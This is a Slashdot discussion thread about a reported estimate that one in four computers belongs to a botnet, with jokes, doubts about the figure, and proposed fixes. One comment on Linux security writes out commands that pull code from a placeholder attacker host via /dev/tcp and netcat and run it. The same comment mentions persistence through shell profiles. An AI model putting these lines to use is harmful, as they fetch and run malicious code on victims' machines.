25 Percent of All Computers in a Botnet?

Beckham's_Ponytail writes to mention an Ars Technica article, with some disturbing news out of the World Economic Forum in Davos, Switzerland. Vint Cerf, one of the 'fathers of the internet', has stated that the number of botnets online is larger than believed. So large, in fact, that he estimates that at this point one in four computers is infected with botnet software. We've discussed the rise of botnets numerous times here on Slashot, but the image of 150 million infected computers is more than a little bit sobering. With the extremely lucrative activities that can be done with botnets (such as password ripping, spamming, DDoSing), as well as reports of organized crime adopting 'cyber-terrorism' as a new line of income, is it likely that law enforcement will ever be able to curb this particular bane?

Botnets

[eviloverlordx (99809)]

Just wait until they merge and become Skynet. Then we'll really be in trouble.

Re:Botnets

[Sabaki (531686)]

The Terminator: The Spamnet goes on-line August 4th, 1997. Human decisions are removed from strategic marketing. Spamnet begins to grow at a geometric rate. It becomes self-aware at 2:14 a.m. Eastern time, August 29th. In a panic, they try to pull the plug.
Sarah Connor: Spamnet fights back.
The Terminator: Yes. It launches its nigerian spam against the targets in Russia.
John Connor: Why attack Russia? Aren't they spammers too?
The Terminator: Because Spamnet knows the Russian counter-spam will eliminate all non-zombies over here.

Dr. Silberman: I'm sure it feels very real to you.
Sarah Connor: On August 29th, 1997, it's gonna feel pretty fscking real to you too. Anybody not handling 2 million messages a second is gonna have a real bad day. Get it?

Re:Botnets

[ObsessiveMathsFreak (773371)]

From Soviet Russia, botnet fucks YOU!

Re:Botnets

[AndroidCat (229562)]

Daleks: Exterminate! Exterminate!
Cybermen: Delete! Delete!
Botnet Bots: V1agr4! V1agr4!

Use the poison as the cure.

[purpledinoz (573045)]

Isn't there a way to develop a virus that can spread through these compromised computers, but instead of doing the damage, it fixes the leaks? These compromised computers have some sort of back-door left open right?

Ramen worm

[TypoNAM (695420)]

Like the ramen worm that effected most Redhat systems and then disabled the exploits it used? http://news.com.com/2009-1001-251311.html [com.com]

25%? BS....

[Karganeth (1017580)]

95% of all statistics are made up on the spot. Luckily, this statistic is one of the few 9% of statistics which aren't made up so quickly.

Law enforcement?

[countSudoku() (1047544)]

Why not start with the ISPs? Have them start policing their own customers and shut off their connections when a compromised system is discovered, then help that poor, unconnected shmuck clean their PC so they can rejoin the world wide pr0n.

I spent two frickin' hours cleaning and protecting my sister's and niece's XP laptops over xmas. Pain in the ass, but at least they're running clean and happy now. This is after I said I'd never help them because they made the mistake of buying XP laptops instead of a Macs. What can you do? Gotta clean it, even if it's partially the cause of the problem and the people using them are not of the highest technical ilk.

Re:

[Kufat (563166)]

I got a call from Road Runner a few years ago, when my younger brother had inadvertently set up an open relay. The conversation went like this:

Me: Y'see, my brother just installed Linux, and...
RR Tech: And now he thinks he's Net God?

Me scared

[jurt1235 (834677)]

That would mean that 75% of computers would not be infected, ergo that 75% of users finally got the clue of protecting their system against virusses and malicious websites. Is 75% running Linux without notifying the nerds? Hey, we nerds run the minority system here! I am switching to MS Windows right now.

(Another statistics victim)

Bogus Numbers

[madsheep (984404)]

I would be much more inclined to believe that 1 in 4 PC's are infected with one or more of the following:

- Virus
- Trojan
- Worm
- Spyware
- Adware

A few of the above are used almost interchangeable (by some people) and have the capability of effectively making the machine into some form of a bot or zombie (remotely controlled or not). Now, to say that 1 in 4 machines are bots I would have to whole heartedly disagree with. This just isn't very likely. Especially since the lifetime of a specific botnet has gradually been decreasing. Faster AV responses, increased patching, and more bot competition will inherently decrease these odds. Sorry but the daddy of the internet or not.. I think he's off the mark.

Re:

[99BottlesOfBeerInMyF (813746)]

Now, to say that 1 in 4 machines are bots I would have to whole heartedly disagree with. This just isn't very likely. Especially since the lifetime of a specific botnet has gradually been decreasing. Faster AV responses, increased patching, and more bot competition will inherently decrease these odds. Sorry but the daddy of the internet or not.. I think he's off the mark.

I haven't found any sources for the data he cites, but I just happen to have some data in front of me that represents a significant chu

Re:Bogus Numbers

[John Hasler (414242)]

> ...don't bother with/have never heard of antivirus software?

They have antivirus software. It came with the computer when they bought it four years ago.

South Korea?

[garcia (6573)]

With 99.9% of South Koreans "shackled" to Windows [slashdot.org] and "sitting behind fat pipes", why are we surprised?

I keep banning new IP ranges originating from .kr. It wouldn't surprise me at all if 99.5% of them were infected over there.

Cybercrime

[mandelbr0t (1015855)]

I wonder how up-to-date Law Enforcement is on Cybercrime, i.e. crimes that are perpetrated in Cyberspace. There's just so many things that place them at a disadvantage. First, there's often the argument that no crime has even been committed. The 'net is a wild and crazy place, and if you're on it, there's personal responsibility for protecting yourself against the constant background of malware. Most people haven't been educated in this respect.

Second, IP forensics is a rather arcane art. Few are schooled, even fewer are of the calibre that Law Enforcement would need on their side. I'd guess that it's still more lucrative to be on the wrong side of the law, and given the nebulous nature of many of these crimes, there's just not much attraction to being a computer cop. There is a process, if you're interested, to become an expert witness in this field. That's a step in the right direction, but it's only part of the overall legal process. We still need Law Enforcement officials who are willing to press charges and a judge who's willing to sign required warrants.

Finally, there's the anonymity factor. Even IP forensics won't get your man. It'll get you their IP address, but it's a long way from the IP address to the culprit. There's dozens of arguments which could explain why your Internet connection has been implicated in a Cybercrime, most of them raising reasonable doubt.

It's possible, however. "Where there's a will, there's a way." We have to take these crimes out of Cyberspace, and start correlating information between network and reality. After all, there's generally financial transactions associated with large spam deliveries and 10k+ botnet DDoSing. It's a lot harder to claim that you're a victim of circumstance when not only was your IP spotted crawling through an ISPs subnet in suspicious ways, but you also received a few grand just before a mysterious DDoS that brought down a major website.

Damn!

[by Anonymous Coward]

I've got 4 computers in my house... now I've got to figure out which one of them in part of a botnet!

Class action

[bigberk (547360)]

There could definitely be a class action lawsuit at some point facing Microsoft. That one company has a mass deployment of an operating system that is obviously dreadfully vulnerable to infection. Some might reasonably argue that Microsoft has an implied duty to provide a reliable operating system, as the backbone infrastructure of the modern computing world.

Among the victims of the easily infectable Windows platform are:
1) Large internet service providers, who suffer tremendous bandwidth costs due to DDoS attacks and spam
2) Sites that have been forced offline or had skyrocketing costs due to DDoS attacks
3) Businesses which suffer downtime due to networks congested with worm activity

I think it is time for an ambitious group of lawyers to start barking up this tree. It wouldn't be so big a concern if it wasn't for the fact that Microsoft has made a specific effort to rollout their operating system as a foundation of the world's business computing. They are providing faulty infrastructure.

Aborted cliche

[Tsar (536185)]

I was going to post something about imagining a Beowulf cluster of these or of welcoming our new botnet overlords, but the bot on my computer started threateNO CARRIER

Yes it is possible to eliminate

[gurps_npc (621217)]

The single reason why spam and other net abuses go on is that there is no world wide laws. It is a public crime, people can click on the spam and hunt down the person committing the crime simply by following the money. They getaway with it because If one country creates an effective law and enforces it, the spammers can just move to another country.

You want to cure it? Have ICAAN come up with a set of standard, simple guidelines. Not censorship, just simple things like "No sending out spam emails", "No Zombie Bot". Then have ICAAN rule that failure to pass laws enforcing these guidelines (individual countries get to decide what the actual law would be) or failure to cooperate to enforce them results in disconnect for that country from the rest of the internet. That would be ICAAN's sole enforement power

Give people a 3 month warning, then start disconnecting the countries that are the worst violators, giving the secondary violators another warning. In one month, if they pass new laws or fund new enforcements, they get a trial hook up again.

I predict one year of nastyness, during which all countries scramble to create and enforce real laws.

The worst of the worst of the offending countries, might split off and form a secondary, 'dangerous' internet. But who would care.

The ISPs could help stop this

[vinn01 (178295)]

I blame the ISPs for allowing traffic to leave their networks with spoofed IP addresses. That is - passing IP packets that are sourced within thier network with IP addresses that are not within their network.

Botnets spoof IP addresses to make if harder to track down the bots. But the IPS know where the bots are and could kill them, or filter them, if they had the testicles to do it. By pass the spoofed IP addressed traffic they make it harder for the rest of the world to filter the bots.

Botnets would be a heck of a lot easier to filter, and choke, if valid IP addresses were forced on all traffic.

Re:

[Fez (468752)]

Botnets spoof IP addresses to make if harder to track down the bots. But the IPS know where the bots are and could kill them, or filter them, if they had the testicles to do it. By pass the spoofed IP addressed traffic they make it harder for the rest of the world to filter the bots.

Spoofing might work for simple attacks like ping or flooding-style attacks, but IP spoofing does not help them with spam delivery or infection, which is where they make the bulk of their money (unless it's DoS blackmail...) Ingress/Egress filtering helps, but it's not a magic bullet against botnets. (See http://www.securityfocus.com/infocus/1674 [securityfocus.com])

Also -- If finding and killing the bots were that easy, it would be done a lot more often.

I wonder how they got that 150M number?

[Darth Muffin (781947)]

I wonder how they got that 150M number--if it's the number of Bots out there or the number of infected PCs? If it's the former, and I suspect it is, you can't equate that to the number of PCs. One PC can be a member of several botnets. From what I've seen (and most of you have probably too), a PC either seems to be clean or has 14 bots and 95 pieces of spyware on it depending on the user's habits and training.

This will change with Vista

[centron (61482)]

After getting feedback that the majority of their users have Spyware installed on their systems, Microsoft decided to incorporate spyware directly into the OS (embrace and extend). With the release of Microsoft Vista, your computer will come with software that runs silently in the background, regularly checks in with their network, and can be completely disabled remotely, similar to botnet software produced by others.

While this system is not pre-configured to send spam or generate DDOS attacks like many other botnets, it does have the ability to download new functionality in the background through Windows Update, so this capability could be added at a later date if enough customers continue to install third party botnets. This means that while your Vista computer is already part of a botnet out of the box, it's fairly dormant. As an indication of the omnionous potential of this enhanced system, Microsoft is calling it 'Windows Activation'.

1 in 4?

[eod_punk (832062)]

Thank god I only have 3 computers then.

You Are Required by Law

[rubmytummy (677080)]

You are required by law...

• to disconnect any equipment that interferes with the PSTN.
• to have your dog killed if it is rabid.
• to clean up a toxic chemical spill on your property.
• to take the medication that keeps you from spreading tuberculosis.
• to either fix any interference caused by your ham radio, or stop using the thing.

So, just how complicated is the solution to botnets and similar public network security issues?

Re:You Are Required by Law

[Watson Ladd (955755)]

It's easy to tell that you have a rabid dog, a toxic waste spill, a bad phone line. It's hard to tell if your computer is part of a botnet, esp. if you only have 1 and your ISP is uncooperative. Also, insecure computers don't join botnets by themselves, they get hacked. Saying the owner needs to fix it is going to lead to a lot of outcry about how people who don't understand computers are getting jailed for something they aren't responisible for. They won't get one iota of sympathy from me, but all other lusers will oppose these laws.

What about a broadband users license?

[bdwoolman (561635)]

There are ham licenses, Why not license high-speed access in some way? It is also powerful. The process does not have to be hard, but at least one person, say, at home or in the SOHO should demonstrate he or she knows how to secure the computer (to some minimal standard) and keep it that way before a broadband install is allowed to the address. You can create all the fine security software and solid OSs you want, but unless the users are clued in then it is hopeless. The bar does not have to be set that high. But there is nothing like a license to motivate a little learning.

Or at least require ISPs to provide minimal security training to their broadband customers. As has been said: Most infection is self inflicted through ignorance. Some people might welcome the chance to learn. I know I did not want to scuba dive without some training. A lot of parents would be motivated to learn about filtering software etc. A license should be grandfathered in of course. This problem will worsen in direct proportion to bandwidth. And certainly there should be citizens' band speeds. (TBD)

People might grumble, but if it is sold as a community responsibility a license track might fly. Most (well, many) people are motivated by a sense of community responsibility. I had a young friend whose computer was a viral soup. Infected beyond redemption. Ruined. I reinstalled Windows for her, which cleaned up the mess, but she was resistant to the idea of anti-virus software because she claimed she did not do anything serious with the computer and did not want to hassle. Her current mess had taken years to build. And, she asked, couldn't she just redo the box again when it tanked? But I pointed out to her that it wasn't just her that suffered, it was the whole community that suffered when she left her computer vulnerable. (I explained a little about bots) The idea that she could be hurting others through inaction really upset her (she had never thought it through) and so we were downloading Zonealarm, AVG and AdAware in no time. In the end she bought a subscription to a suite. McAfee I think.

Before anyone starts screaming about rights and freedoms being taken away, please think about this: A license is a way that a civil society makes its members accountable, from food vendors to electricians. I am less free because of all the bots out there. If people can't get on the highway without demonstrating some knowledge, Why should they get on the information highway in a state of ignorance, especially now that we are banking and shopping there?

Re:Request

[beakerMeep (716990)]

i think a bot is just a virus/trojan/rootkit in terms of dectection/removal. I think it's named "bot" is more because of it's function. ex: sleeping and waiting for commands from the bad guy to start spamming email.

Re:Request

[99BottlesOfBeerInMyF (813746)]

Does anyone know a utility/website for detecting and cleaning bots?

There are lots of tools for detecting bots; as for cleaning them, well that depends upon the environment I suppose. ISPs have tools for detecting likely bots, but generally don't have the authority or motivation to do anything. Large organizations like universities and corporations have tools for detecting bots and taking them offline until they are fixed. How does one go about cleaning bots though? Do you wipe boxes before you know what is on them? That is the only sure way to rid a box of malware since you have no idea what else is on it.

The first question that needs to be answered is clean bots from what type of network do you want to clean bots from? The next is, how much control do you have over the machines?

Re:Request

[rtb61 (674572)]

The major ISPs are the problem. The certainly can detect and clean it up but there is no profit in it, whilst there is a significant cost, not only in running the software to detect the suspicious activity on their networks but then informing the customer, assisting the customer in cleaning up their computer (they will demand it), then disconnecting the customers until they clean up their computer, then reconnecting the customer and repeating when the customer gets re-infected. The ISP I use do monitor their network for suspicious bot like activity and will inform their customers about problems and should the customer fail to clean up their computer, disconnect them but they are a quality ISP and sadly in the minority when it comes to putting quality of service ahead of that extra few percent of profit.

This is what you get as the result of profit first corporations, everybody else pays the costs and that cost often far exceeds (by a factor of thousands) the increase in profit that some asshat corporate executive wet dreams over.

Re:Request

[rbochan (827946)]

The major ISPs are the problem...

A few months back, I did some work for some folks hat were getting phone calls and actual snail mail from their ISP (rhymes with load gunner) telling them to take their computer off line and have it repaired. The ISP actually did cut them off, because their machine was saturating the line all the time as a spambot and as a server for other bot infections.
The major ISPs will do it, but only if it's already costing them $$ in bandwidth.

Re:Request

[rtb61 (674572)]

The catch is when major ISPs start charging for how much you use your broadband connections, it is more profitable for them to allow for botnets etc to continue.

Re:Request

[bigberk (547360)]

One interesting method is to query an anti-spam database using your IP address, and see if you are listed as a spam source. Quick checks can be done at robtex [robtex.com] or dnsstuff [dnsstuff.com].

If your IP address shows up on PSBL [surriel.com], CBL [abuseat.org], SpamCop [spamcop.net], or WPBL [wpbl.info] your host is probably infected and a source of spam or other abuse.

Re:Request

[mrtexe (1032978)]

For Windows, use IE to go to Safety.live.com - Microsoft's official online free spyware, virus detector/remover [live.com] (choose your language)

Re:Request

[sporkme (983186)]

Does anyone know a utility/website for detecting and cleaning bots?

I use a can of airduster, a cotton swab and an alochol solution to clean my bots.

There are a bunch of port scanner sites out there that can check the integrity of your firewall. DSL Reports has a decent one if memory serves. Use Spybot Search & Destroy, LavaSoft AdAware and a good antivirus like AVG or Avast. If you suspect that there is unwanted network traffic to and from your system, use Ethereal to see where it is going to and coming from. If you suspect an exploit of Internet Explorer, HijackThis can shed some light on it. Check the task manager process tab for suspicious looking entries and Google them. Lay off the pr0n! and v1agr@ emails.

By far the most powerful and versatile utility is The Geek Down The Street (TM), possibly surpassed by Your Local Computer Repair Shop (TM). Ultimately, there is no replacememnt for smart practices and secure software. Use an alternative browser like Firefox or Opera, or better yet pop on over to http://www.linux.org/dist/ [linux.org] and take your pick.

Re:How to stop the bots

[x_MeRLiN_x (935994)]

25% does seem a little high, but then again it's not hard to imagine that people who this affects don't talk with too many people online who they haven't met in person. Just today I was playing Counter-Strike (1.6 of course) and a fellow player revealed the reason for them not moving or shooting; a pop-up. This is hardly a rare occurrence. I can't empathise in any way with those who are perfectly content to accept their computer is infected with some sort of adware and believe there is nothing they can do to prevent the infection of such malware.

Re:How to stop the bots

[TapeCutter (624760)]

I agree! Not only that, joe sixpack buys his PC at the department store pre-laden with free trials and nag screens for firewalls, virus scanners, extended warrantees, computer courses, ect, until the thing boot's up at the same speed as the space shuttle. When it does finally boot-up, shit pops up all over the place asking the to sign forms, ect. If they RTFM (and are lucky enough to have picked the correct one from the 10 available), it looks nothing like it. Yet these same people buy self-assembled furniture, pre-fab garden sheds, plug-n-play home theaters, and other such "puzzles" from the same store and have no on going problems.

I can't count the number of people I have helped just sign up for the "pre-installed" ISP and get them on the net in the first place. They aren't "content", they complain to the store, then to the ISP, then just leave it in a corner until someone like me "fixes it" and shows them around the net. Sometimes they live with adware because they don't know how to clean it off but this doesn't mean they are not fucked off that they can't trust the thing to do their banking (as adevertised).

Blaming average users because someone is screwing them over is arrogance of the highest order, it's amounts to condeming the victims - a very ugly attitude in my books.

EVEN MORE SCARY it's 1 in 2 windows computers.

[goombah99 (560566)]

it says 1 in 4 are infected. But lets drill down. First take out all the mac and linux and Unix computers since the botnet rate, while not zero, is probably not signiciant. We can also exlcude most but not all embedded system. Since mac and linux and Unix , and embedded systems acocunt for more than a quarter of the market this means that most Windows computers are infected at a rate closer to 1 in 3.

Next remove all the server clusters and the majority of computers in highly active IT bussiness envirmonments. We can probably exclude most military computers. That takes out another quarter of the machines.

So basically your personal computer at home or poorly maintained bussiness machines are carrying the bulk of the infection and it's not entirely way off to say the botnet rate is 1 in 2 for windows.

Re:EVEN MORE SCARY it's 2 in 1 windows computers.

[spun (1352)]

Actually, you have not taken this analysis far enough. Next you must remove all computers owned by cats, as cats are fastidious animals, and as natural hunters quite concerned with security. My research says 10% of all windows computers are owned by cats.

Next, you can't count windows computers that have been smashed with sledgehammers. If you can't figure out why, I pity you. My research says that 17.54979% of all windows computers have been smashed with sledgehammers.

Also, it would be ridiculous to count computers that have been taken over by Skynet. Technically, they ARE part of a botnet, but this is really a seperate, and very real, very important issue. Here, my research indicates over 1/4 of all windows computers are now part of skynet, so we have to count those out.

As everyone knows, there are a significant number of aliens present on the planet, and a significant number of them are silicon based life forms posing as high end windows computers while they persue research for their doctoral dissertations on the common homo-sapien couch potato. This amounts to about 22% of windows computers.

We can therefore conclude that, if I've done my math right, 2 out of every 1 windows computer is part of a botnet!

Re:EVEN MORE SCARY it's 2 in 1 windows computers.

[Kelson (129150)]

My research says 10% of all windows computers are owned by cats.

Judging by some blogs I've seen, I suspect you're right.

woof

[goombah99 (560566)]

The nice thing about the internet is no one knows you're a dog.

Teenage Drivers

[goombah99 (560566)]

Insurance rates on teenage drivers are higher. We don't say all cars must be accident free but we recognize group risks are higher for some identifiable groups. insurance rates are higher if you own a race car.

ISP connection fees should be regulated so that if you own a windows computer you are treated as astonomically more likely to poison the internet than if you don't.

Note I'm not saying that because that windows machines pay more because there are more windows botnets. That would not be fair since the

Re:

[Planesdragon (210349)]

Dude.

1: Learn how to use the <A> tag.

2: That's a two-year old article, predating either Vista or XP SP 2. I wager that, even if you did that now with the same OSes, you'd have far less likely results.

3: That's "fresh install of windows with absolutely no security at all plugged into broadband." Sheesh. Install something as trivially easy as ZoneAlarm, and well, it just doesn't happen.

Re:How to stop the bots

[Bodhammer (559311)]

You can make yourself Slipstreamed XP Install disks with SP2 so you don't get infected. See
http://www.winsupersite.com/showcase/windowsxp_sp2 _slipstream.asp [winsupersite.com] or http://www.theeldergeek.com/slipstreamed_xpsp2_cd. htm [theeldergeek.com]. It is well worth the time. Make a disk for next time.

Re:How to stop the bots

[Hawthorne01 (575586)]

Yeah, as much as I like living pain (not worry) -free with OS X so far, it's only a matter of time until the cost/benefit of launching a reasonably successful large-scale attack against the OS arrives.

In the meantime, I'll keep Clam AV going, backup regularly, and keep my admin account separate from the others.

Diversify Now.

[twitter (104583)]

it's only a matter of time until the cost/benefit of launching a reasonably successful large-scale attack against the OS arrives.

It's only a matter of time before some descendent of pigs evolve wings too.

You have to make decisions based on what you see and know, not speculation. Right now, and for the forseeable future, your best protection from trojans, worms and spyware is to install or purchase any OS besides Windoze.

It's not just a solution, it's the solution. A diverse population of computers will make botnets both expensive and small.

Re:Just install linux

[SCHecklerX (229973)]

botnets on *nix are easy. Most on windoze are deployed via idiot lusers just like most other malcode.

On linux, you only need a script that does the equivalent of this:

malcode < /dev/tcp/h4xx0rsbox/80

Or, if you have netcat available to you and prefer to use that tool:

nc h4xx0rsbox 80 | malcode

Or just include all the tcpip stuff in the trojan the idiot linux luser runs. It's easy enough to add it to their .profile or .shellrc, so it runs every time they log in, right?

These things aren't after your own files and such They are after your network resources, and these are trivial to get, even on *nix, my friend. When linux is popular amongst the idiots who run everything that they are sent or directed to download, they will certainly run it on that platform. And doing this stuff on linux is far more trivial than doing it on windoze thanks to the standard 'dev' tools and shells that are pretty much guaranteed to be available to the attacker.

Re:

[The_Wilschon (782534)]

Just install linux or other unix'es and it's solved. Start by convincing your friend to buy MS free computers. After 2 weeks of struggle to lose the old habits they will get used and thank you for it.

Wait. I thought the point of getting them to switch was so that they wouldn't get used.

Re:

[abigor (540274)]

She won't get infected with anything if:

1. She is behind a router, like a cheapo Linksys or something, so her ip is not routable over the wan.

2. She doesn't use IE.

3. She has auto-updates turned on.

I've had my similarly illiterate mom on such a setup for several years now, and she's never been infected.

Re:

[morgan_greywolf (835522)]

s/IE/IE or Outlook/ and I would mostly agree with you, but not completely. Plenty of other software people install themselves from the Web either includes spyware or is spyware itself. Remember Bonzi Buddy? What illiterate mom/little sister/etc. could resist the cute purple monkey?

More recently, there have been programs claiming to spyware removers that are spyware themselves!